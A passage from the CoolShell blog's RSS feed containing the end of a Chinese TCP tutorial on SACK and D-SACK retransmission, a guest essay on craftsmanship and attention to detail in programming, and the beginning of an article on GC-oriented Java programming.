srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021.png 450w, https://coolshell.cn/wp-content/uploads/2014/05/FASTIncast021-300x194.png 300w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></p>\n<p>Fast Retransmit只解决了一个问题，就是timeout的问题，它依然面临一个艰难的选择，就是，是重传之前的一个还是重传所有的问题。对于上面的示例来说，是重传#2呢还是重传#2，#3，#4，#5呢？因为发送端并不清楚这连续的3个ack(2)是谁传回来的？也许发送端发了20份数据，是#6，#10，#20传来的呢。这样，发送端很有可能要重传从2到20的这堆数据（这就是某些TCP的实际的实现）。可见，这是一把双刃剑。</p>\n<h5>SACK 方法</h5>\n<p>另外一种更好的方式叫：<strong>Selective Acknowledgment (SACK)</strong>（参看<a href=\"http://tools.ietf.org/html/rfc2018\" target=\"_blank\">RFC 2018</a>），这种方式需要在TCP头里加一个SACK的东西，ACK还是Fast Retransmit的ACK，SACK则是汇报收到的数据碎版。参看下图：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-11600\" src=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg\" alt=\"\" width=\"600\" height=\"338\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg 1024w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-300x169.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example-900x507.jpg 900w, https://coolshell.cn/wp-content/uploads/2014/05/tcp_sack_example.jpg 1437w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p>这样，在发送端就可以根据回传的SACK来知道哪些数据到了，哪些没有到。于是就优化了Fast Retransmit的算法。当然，这个协议需要两边都支持。在 Linux下，可以通过<strong>tcp_sack</strong>参数打开这个功能（Linux 2.4后默认打开）。</p>\n<p>这里还需要注意一个问题——<strong>接收方Reneging，所谓Reneging的意思就是接收方有权把已经报给发送端SACK里的数据给丢了</strong>。这样干是不被鼓励的，因为这个事会把问题复杂化了，但是，接收方这么做可能会有些极端情况，比如要把内存给别的更重要的东西。<strong>所以，发送方也不能完全依赖SACK，还是要依赖ACK，并维护Time-Out，如果后续的ACK没有增长，那么还是要把SACK的东西重传，另外，接收端这边永远不能把SACK的包标记为Ack。</strong></p>\n<p>注意：SACK会消费发送方的资源，试想，如果一个攻击者给数据发送方发一堆SACK的选项，这会导致发送方开始要重传甚至遍历已经发出的数据，这会消耗很多发送端的资源。详细的东西请参看《<a href=\"http://www.ibm.com/developerworks/cn/linux/l-tcp-sack/\" target=\"_blank\">TCP SACK的性能权衡</a>》</p>\n<h5>Duplicate SACK &#8211; 重复收到数据的问题</h5>\n<p>Duplicate SACK又称D-SACK，<strong>其主要使用了SACK来告诉发送方有哪些数据被重复接收了</strong>。<a href=\"http://www.ietf.org/rfc/rfc2883.txt\" target=\"_blank\">RFC-2883 </a>里有详细描述和示例。下面举几个例子（来源于<a href=\"http://www.ietf.org/rfc/rfc2883.txt\" target=\"_blank\">RFC-2883</a>）</p>\n<p>D-SACK使用了SACK的第一个段来做标志，</p>\n<ul>\n<li>如果SACK的第一个段的范围被ACK所覆盖，那么就是D-SACK</li>\n</ul>\n<ul>\n<li>如果SACK的第一个段的范围被SACK的第二个段覆盖，那么就是D-SACK</li>\n</ul>\n<p><strong>示例一：ACK丢包</strong></p>\n<p>下面的示例中，丢了两个ACK，所以，发送端重传了第一个数据包（3000-3499），于是接收端发现重复收到，于是回了一个SACK=3000-3500，因为ACK都到了4000意味着收到了4000之前的所有数据，所以这个SACK就是D-SACK——旨在告诉发送端我收到了重复的数据，而且我们的发送端还知道，数据包没有丢，丢的是ACK包。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n\tTransmitted  Received    ACK Sent\n\tSegment      Segment     (Including SACK Blocks)\n\n\t3000-3499    3000-3499   3500 (ACK dropped)\n\t3500-3999    3500-3999   4000 (ACK dropped)\n\t3000-3499    3000-3499   4000, SACK=3000-3500\n                                        ---------</pre>\n<p><strong> 示例二，网络延误</strong></p>\n<p>下面的示例中，网络包（1000-1499）被网络给延误了，导致发送方没有收到ACK，而后面到达的三个包触发了“Fast Retransmit算法”，所以重传，但重传时，被延误的包又到了，所以，回了一个SACK=1000-1500，因为ACK已到了3000，所以，这个SACK是D-SACK——标识收到了重复的包。</p>\n<p>这个案例下，发送端知道之前因为“Fast Retransmit算法”触发的重传不是因为发出去的包丢了，也不是因为回应的ACK包丢了，而是因为网络延时了。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n    Transmitted    Received    ACK Sent\n    Segment        Segment     (Including SACK Blocks)\n\n    500-999        500-999     1000\n    1000-1499      (delayed)\n    1500-1999      1500-1999   1000, SACK=1500-2000\n    2000-2499      2000-2499   1000, SACK=1500-2500\n    2500-2999      2500-2999   1000, SACK=1500-3000\n    1000-1499      1000-1499   3000\n                   1000-1499   3000, SACK=1000-1500\n                                          ---------</pre>\n<p>&nbsp;</p>\n<p>可见，引入了D-SACK，有这么几个好处：</p>\n<p style=\"padding-left: 30px;\">1）可以让发送方知道，是发出去的包丢了，还是回来的ACK包丢了。</p>\n<p style=\"padding-left: 30px;\">2）是不是自己的timeout太小了，导致重传。</p>\n<p style=\"padding-left: 30px;\">3）网络上出现了先发的包后到的情况（又称reordering）</p>\n<p style=\"padding-left: 30px;\">4）网络上是不是把我的数据包给复制了。</p>\n<p> <strong>知道这些东西可以很好得帮助TCP了解网络情况，从而可以更好的做网络上的流控</strong>。</p>\n<p>Linux下的tcp_dsack参数用于开启这个功能（Linux 2.4后默认打开）</p>\n<p>好了，上篇就到这里结束了。如果你觉得我写得还比较浅显易懂，那么，欢迎移步看下篇《<a href=\"https://coolshell.cn/articles/11609.html\" target=\"_blank\">TCP的那些事（下）</a>》</p>\n<p style=\"text-align: right;\"><strong> <a href=\"https://coolshell.cn/articles/11609.html\" target=\"_blank\">TCP的那些事儿（下）&gt;&gt;&gt;</a></strong></p>\n<p style=\"text-align: left;\">（上篇完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg\" alt=\"从一次经历谈 TIME_WAIT 的那些事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22263.html\" class=\"wp_rp_title\">从一次经历谈 TIME_WAIT 的那些事</a></li><li ><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg\" alt=\"HTTP的前世今生\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19840.html\" class=\"wp_rp_title\">HTTP的前世今生</a></li><li ><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/05/xin_2001040422167711230318-150x150.jpg\" alt=\"TCP 的那些事儿（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11609.html\" class=\"wp_rp_title\">TCP 的那些事儿（下）</a></li><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/09/tcp1-150x150.jpg\" alt=\"TCP网络关闭的状态变换时序图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1484.html\" class=\"wp_rp_title\">TCP网络关闭的状态变换时序图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11564.html\">TCP 的那些事儿（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11564.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>237</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>「我只是认真」聊聊工匠情怀</title>\n\t\t<link>https://coolshell.cn/articles/11629.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11629.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[王 晨纯]]></dc:creator>\n\t\t<pubDate>Mon, 26 May 2014 03:20:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11629</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @Hesey小纯纯 投稿  博客 &#124;　原文链接） 老罗的Smartisan T1手机发布会很多人应该都看了，发布会的最后老罗凝视着自己的工匠自画像，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11629.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong style=\"color: #555555;\">（感谢网友 <a style=\"color: #2970a6;\" href=\"http://weibo.com/tbmujian\" target=\"_blank\">@Hesey小纯纯</a> 投稿  <a style=\"color: #2970a6;\" href=\"http://blog.hesey.net/\" target=\"_blank\">博客</a> |　<a style=\"color: #2970a6;\" href=\"http://blog.hesey.net/2014/05/im-just-conscientious-talking-about-feelings-of-artisans.html\" target=\"_blank\">原文链接</a>）</strong></p>\n<p>老罗的Smartisan T1手机发布会很多人应该都看了，发布会的最后老罗凝视着自己的工匠自画像，半晌没说话，随后转过身，慢慢离开舞台，屏幕下方只留下一句话：</p>\n<p style=\"padding-left: 30px;\"><strong>我不是为了输赢，我就是认真。</strong></p>\n<p>这一瞬间让我想起93年「狮城舌战」的主角蒋昌建，在「人性本善还是人性本恶」的总结陈词最后，以顾城的名句，「黑夜给了我黑色的眼睛，我却用它寻找光明」，把整个辩论赛的氛围推向高潮。</p>\n<p>而老罗的这句话，和这句话背后的工匠背景，却以另外一种<strong>无声的却震人心魄的力量</strong>，敲打着每一个在场的，或是观看着整个发布会的观众的心绪。</p>\n<p>「工匠情怀」，我深有体会，就像我在 <a href=\"http://blog.hesey.net/2014/05/gc-oriented-java-programming.html\" target=\"_blank\">面向GC的Java编程</a> 一文中所提到的：</p>\n<p style=\"padding-left: 30px;\"><strong>优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？</strong></p>\n<p>追求卓越，追求完美，追求细节的极致。小时候看到那些修表匠，握着一个小螺丝刀，或是看着电工，用烙铁沾着锡和松香，在那一小寸的世界里，把坏了的地方修好，那种专注的眼神，觉得很厉害。</p>\n<p>现在再去回想那些工匠工作的场景，越发觉得钦佩。在我老家有一家刻章的店，在我上幼儿园的时候就已经在那开了很多年了。前段时间需要刻一个章，发现那家店还在，于是走进去，门口坐着一个老人，我确实记不得当年是不是他，不过看这岁数八九不离十。我以前在别的地方刻的章，都是在电脑里设计完图案后，激光刻蚀。但那次老人却是用的手刻，我着实惊呆了。只看他拿出一块红色的印底，右手持着刻刀，开始一下一下地刻着。虽然老人连话都不怎么说得清了，但是工作时那专注的神情，和精湛的手艺，以及最后成品那比机器更完美的效果，着实让我心里非常动容。</p>\n<p><span id=\"more-11629\"></span></p>\n<h4>一、技术人的执着</h4>\n<p>我见过很多人，也见过很多程序员，都有如此的「工匠情怀」。</p>\n<p>做产品需求评审，有的人善于快速提供技术解决方案，在最短的时间内解决问题。</p>\n<p>但我见过的很多牛人，他们除了能在脑海里最快地形成方案原型，并且更深入地考虑各种细节点，最终能给出一个更趋于完善的技术方案。</p>\n<p>在他们身上，我看到了<strong>对这项职业的自我尊重，对自我价值的追求，也有对「卓越」的理解和渴求</strong>。</p>\n<p>《精通正则表达式》的译者余晟老师写过他和正则表达式的 <a href=\"http://www.luanxiang.org/blog/archives/1717.html\" target=\"_blank\">缘起</a> 。只是因为项目经理让他「多用Google，查查正则表达式的资料」，余老师打开了正则的大门，读完了英文原版的《Mastering Regular Expression》，如今成为了国内最了解正则表达式的人之一。</p>\n<p>看完那篇文章其实我想起了我的实习经历。那时候我刚去公司两三天，有一天我老板找我让我研究一下如何用Java里的MappedByteBuffer做文件内存映射来读取大文件。尽管我们当时要处理的文件很大，以我在学校编码的经验看，用普通的Reader也是可以很好地解决的。</p>\n<p>于是我说，「这个其实用Reader也能做，更简单一些，没那么麻烦。」</p>\n<p>老板反问我，「什么叫没那么麻烦，这是一个做技术的人的态度吗？」</p>\n<p>那几天我花了很多时间，去从Linux一直到JVM，去了解什么是内存映射，底层原理是什么，和其它技术的比较、优缺点，并和其它几种读文件的技术做了性能对比。</p>\n<p>虽然最后项目没有采用这个方案，但是那句反问直到现在一直在我脑海里，时时地提醒我：「<strong>做技术的人，对待技术，应该拥有什么样的态度？</strong>」</p>\n<p>所以其实我很感谢我的老板，以前他教我们这些新人优秀的职场习惯，有一条是每天的邮件必须没有未读数，即便是不需要阅读的邮件，也要一键置为已读，不要留一个未读的数字在那。现在想起来，有点像iOS App右上角那个提醒数的角标，有些强迫症的人怎么也忍受不了有个红圈圈在那。开个玩笑，虽然有些习惯看起来可有可无，无关紧要，但这确实映射了一种态度和思维习惯。</p>\n<p><strong>完美有多远？我不知道，但我愿意多往前走一步。</strong></p>\n<h4>二、拾起初衷</h4>\n<p>我们的生活，每天很忙碌。有时候忙得自己都忘记了为什么在此处，有时候忙得只能不断地用直觉、用以往的经验去设计一个解决方案，而没有时间去思考需求是不是合理，方案是不是最佳，我们以为自己设计的是最佳实践，谁知道呢？</p>\n<p>这个社会，这个世界，处在一个以不可思议的速度向前直奔的时间线上，我们处在这个时代的浪潮之上，每个人都感到了那种令人窒息的紧迫感。</p>\n<p>父母都是不希望孩子太累的，我们见过很多这样的话：</p>\n<p style=\"padding-left: 30px;\"><strong>差不多就行了。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>糊弄糊弄就完事了。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>不要与众不同。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>顺其自然。</strong></p>\n<p>但是你应该问问自己，是不是真的要 <a href=\"http://blog.hesey.net/2010/05/is-let-it-be-consolation-or-excuse.html\" target=\"_blank\">顺其自然</a> ？</p>\n<p>我记得在上大二的时候，听一个叫端木恒的人说过一句话，大意是，<strong>这个世界上，政治可以改变很多事情，而科技，可以通过促进信息的流通，最终去推动政治的变革，去改变整个世界。</strong></p>\n<p>当时觉得这事儿太酷了，是的，所以我当时的想法是，要去一个技术足够强大，并且对人们的生活有实质影响的公司。希望用技术的力量去让更多人生活地更好。</p>\n<p>这当然是一种不自量力，但又如何呢？只是一个普通人小小的想法，不断追求卓越，愿意比别人多往前走一步而已。</p>\n<p>就像冯大辉说的：</p>\n<p style=\"padding-left: 30px;\"><strong>所有人都说你做不成，都告诉你不要去做，不靠谱，嘲讽你，而你最后真的把事情做起来了，这就是牛逼。</strong></p>\n<p>做成了，其实牛不牛逼对你自己而言已经不重要了。</p>\n<p>没做成，所有人都笑你是傻逼，但起码也对得起自己的内心。</p>\n<p>再说，如果 <a href=\"http://blog.hesey.net/2010/05/strength-of-the-young.html\" target=\"_blank\">青年人</a> 想的都是养老和退休，那做事的人在哪？</p>\n<h4>三、发现更好的自己</h4>\n<p>老罗最后的一个问题是：</p>\n<p style=\"padding-left: 30px;\"><strong>在一个完美主义者的眼里，这是一个怎样的世界？</strong></p>\n<p>这个社会上很多人在生活上追求更高的品质，但愿意对自己手头所做的事情坚持高标准坚持卓越理念的人已经不多见了，以至于我们发现<strong>花再多的钱也买不到安全的食品了，花了一辈子的积蓄买的房子却有各种质量问题。</strong>扪心自问自己在工作中是否能坚持某些东西，大部分人的态度都差不多，只是你糊弄一下不会怎样，而他马虎一点就会死人，区别仅仅在于这里。</p>\n<p>M·斯科特·派克说过一句话：</p>\n<p style=\"padding-left: 30px;\"><strong>规避问题和逃避问题的趋向，是人类心理疾病的根源。</strong></p>\n<p>很多人把随大流把妥协作为一种「成熟」的标志，小时候敢想敢说可能也敢做，长大以后懂得了人情世故，懂得向现实妥协，45度角仰望天空说自己终于长大了。再看身边那些「冥顽不灵」、「认死理」的所谓完美主义者，认为这些人才是不正常的群体，把这些人要么当做傻逼要么当做装逼。</p>\n<p>天哪，我都想问，「这是一个怎样的世界？」</p>\n<p>肯定有人会说，站着说话不腰疼。诚然，在生活中，有的人是为了活下去，有的人是为了活得更好，有的人是为了帮助别人活得更好。这是不同的人生阶段，每个人的情况不一样，但这并不影响每个人内心的精神寄托和对信念的追求。</p>\n<p>我从不指望去改变别人，但我相信我可以改变自己，虽然也很难。</p>\n<p>学生都喜欢问，如何最快地告诉自己的能力。说实话，我真的不知道什么是捷径，我的经验就是和比你优秀的人一起工作，经常请教比你资深的人，不断挑战过去的自己（每天审视自己太紧张了，只要比前段时间的自己更好就可以了）。</p>\n<h4>四、细节是魔鬼</h4>\n<p>Devils are in the details，细节是魔鬼，这句话很多人都听过，但要在工作中时时刻刻注意？难。</p>\n<p>前几天给同事做Code Review，就几行代码，发现了一个问题。</p>\n<p style=\"padding-left: 30px;\">场景是我们发现某个系统中存在占用内存超大的HTML字符串，需要统计HTML字符串的长度，于是为了获得准确的字节长度，这段代码调用的是String.getBytes().length，一眼看起来并没有什么大问题。</p>\n<p style=\"padding-left: 30px;\">但是考虑到本身这个字符串就比较大，联想到Java内部是用UTF-16存储字符串的，而getBytes()会转换为系统默认编码（GBK或是UTF-8等等），这里必然存在底层字符数组的拷贝（可以去参考String.getBytes()的源代码证实），一个本身就很大的字符串，经过拷贝，将会占用更多的内存，加剧这个问题，而在HTML中，中文其实只占了非常小的一部分，所以直接用String.length()，虽然会少数几个字符，但对统计结果影响其实并不大，并且这里不存在任何数组分配的开销。</p>\n<p style=\"padding-left: 30px;\">另外建议所有调用String.getBytes()的地方通通显式传入编码，这是个大坑。（<em>陈皓注：用String.length代替getBytes().length，也是在给未来挖坑——如果未来有人要用len来干别的事，那么这个不精确的len可能就是一个大坑</em>）</p>\n<p>另外一个案例，也是在Code Review的时候发现的。</p>\n<p style=\"padding-left: 30px;\">某个调用场景下，每次都会新建一个解析器对象去解析结果，尽管解析器没有任何实例变量不会产生线程安全问题，创建的开销也并不大，但我还是坚持要改成单例，使用同一个实例去处理，这也符合面向GC编程的思想。</p>\n<p style=\"padding-left: 30px;\">这些场景，每天我们都在遇到，<strong>也许我们会说这些都是很小的问题，无伤大雅，差不多就行了。</strong>但就像前面说的，这是一种态度，一种思维习惯，当你坚持用最高的标准去要求自己，去要求自己的工作时，你才有可能渐渐接近卓越。细节是魔鬼，它会在完全察觉不到的时刻，把人拉回平庸。</p>\n<p>「我不是为了输赢，我就是认真。」这不代表我们不在乎输赢，从头至尾我都坚信，只有坚持完美，坚持品质，坚持那些我们曾经了解现在可能已经放弃了的美好的东西，像一个老工匠，把一种专注、追求极致的情怀融入我们的作品里，也许有一天，就有人，追寻着 <a href=\"http://blog.hesey.net/2010/04/a-time-without-dreams.html\" target=\"_blank\">梦想</a> ，发现了 <a href=\"http://blog.hesey.net/2012/02/posibilities-of-life.html\" target=\"_blank\">生活更多的可能性</a> ，像乔布斯、像贝索斯，改变整个行业，改变全世界。</p>\n<p>我们是被这个时代推上浪潮之巅的人，是去做一个见证者，或是一个冲在最前面也不怕被拍死的傻瓜，是我们每个人选择的权利。</p>\n<p>只是不要忘记，那些傻瓜，不是真的不怕死，<strong>他们只是认真</strong>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11629.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>78</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>面向GC的Java编程</title>\n\t\t<link>https://coolshell.cn/articles/11541.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11541.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[王 晨纯]]></dc:creator>\n\t\t<pubDate>Wed, 07 May 2014 03:24:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[GC]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[JVM]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11541</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @Hesey小纯纯 投稿  博客 &#124;　原文链接） Java程序员在编码过程中通常不需要考虑内存问题，JVM经过高度优化的GC机制大部分情况下都能够很...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11541.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 <a href=\"http://weibo.com/tbmujian\" target=\"_blank\">@Hesey小纯纯</a> 投稿  <a href=\"http://blog.hesey.net/\" target=\"_blank\">博客</a> |　<a href=\"http://blog.hesey.net/2014/05/gc-oriented-java-programming.html\" target=\"_blank\">原文链接</a>）</strong></p>\n<p>Java程序员在编码过程中通常不需要考虑内存问题，JVM经过高度优化的GC机制大部分情况下都能够很好地处理堆(Heap)的清理问题。以至于许多Java程序员认为，我只需要关心何时创建对象，而回收对象，就交给GC来做吧！甚至有人说，如果在编程过程中频繁考虑内存问题，是一种退化，这些事情应该交给编译器，交给虚拟机来解决。</p>\n<p>这话其实也没有太大问题，的确，大部分场景下关心内存、GC的问题，显得有点“杞人忧天”了，高老爷说过：</p>\n<p style=\"padding-left: 30px;\">过早优化是万恶之源。</p>\n<p>但另一方面，<strong>什么才是“过早优化”？</strong></p>\n<p style=\"padding-left: 30px;\">If we could do things right for the first time, why not?</p>\n<p>事实上<strong>JVM的内存模型</strong>( <a href=\"http://www.cs.umd.edu/~pugh/java/memoryModel/\" target=\"_blank\">JMM</a> )理应是Java程序员的基础知识，处理过几次JVM线上内存问题之后就会很明显感受到，很多系统问题，都是内存问题。</p>\n<p>对JVM内存结构感兴趣的同学可以看下 <a href=\"http://blog.hesey.net/2011/04/introduction-to-java-virtual-machine.html\" target=\"_blank\">浅析Java虚拟机结构与机制</a> 这篇文章，本文就不再赘述了，本文也并不关注具体的GC算法，相关的文章汗牛充栋，随时可查。</p>\n<p>另外，不要指望GC优化的这些技巧，可以对应用性能有成倍的提高，特别是对I/O密集型的应用，或是实际落在YoungGC上的优化，可能效果只是帮你减少那么一点YoungGC的频率。</p>\n<p>但我认为，<strong>优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著</strong>，就像前面说的，<strong>如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？</strong><span id=\"more-11541\"></span></p>\n<h4>一、GC分代的基本假设</h4>\n<p>大部分GC算法，都将堆内存做分代(Generation)处理，但是为什么要分代呢，又为什么不叫内存分区、分段，而要用面向时间、年龄的“代”来表示不同的内存区域？</p>\n<p>GC分代的<strong>基本假设</strong>是：</p>\n<p style=\"padding-left: 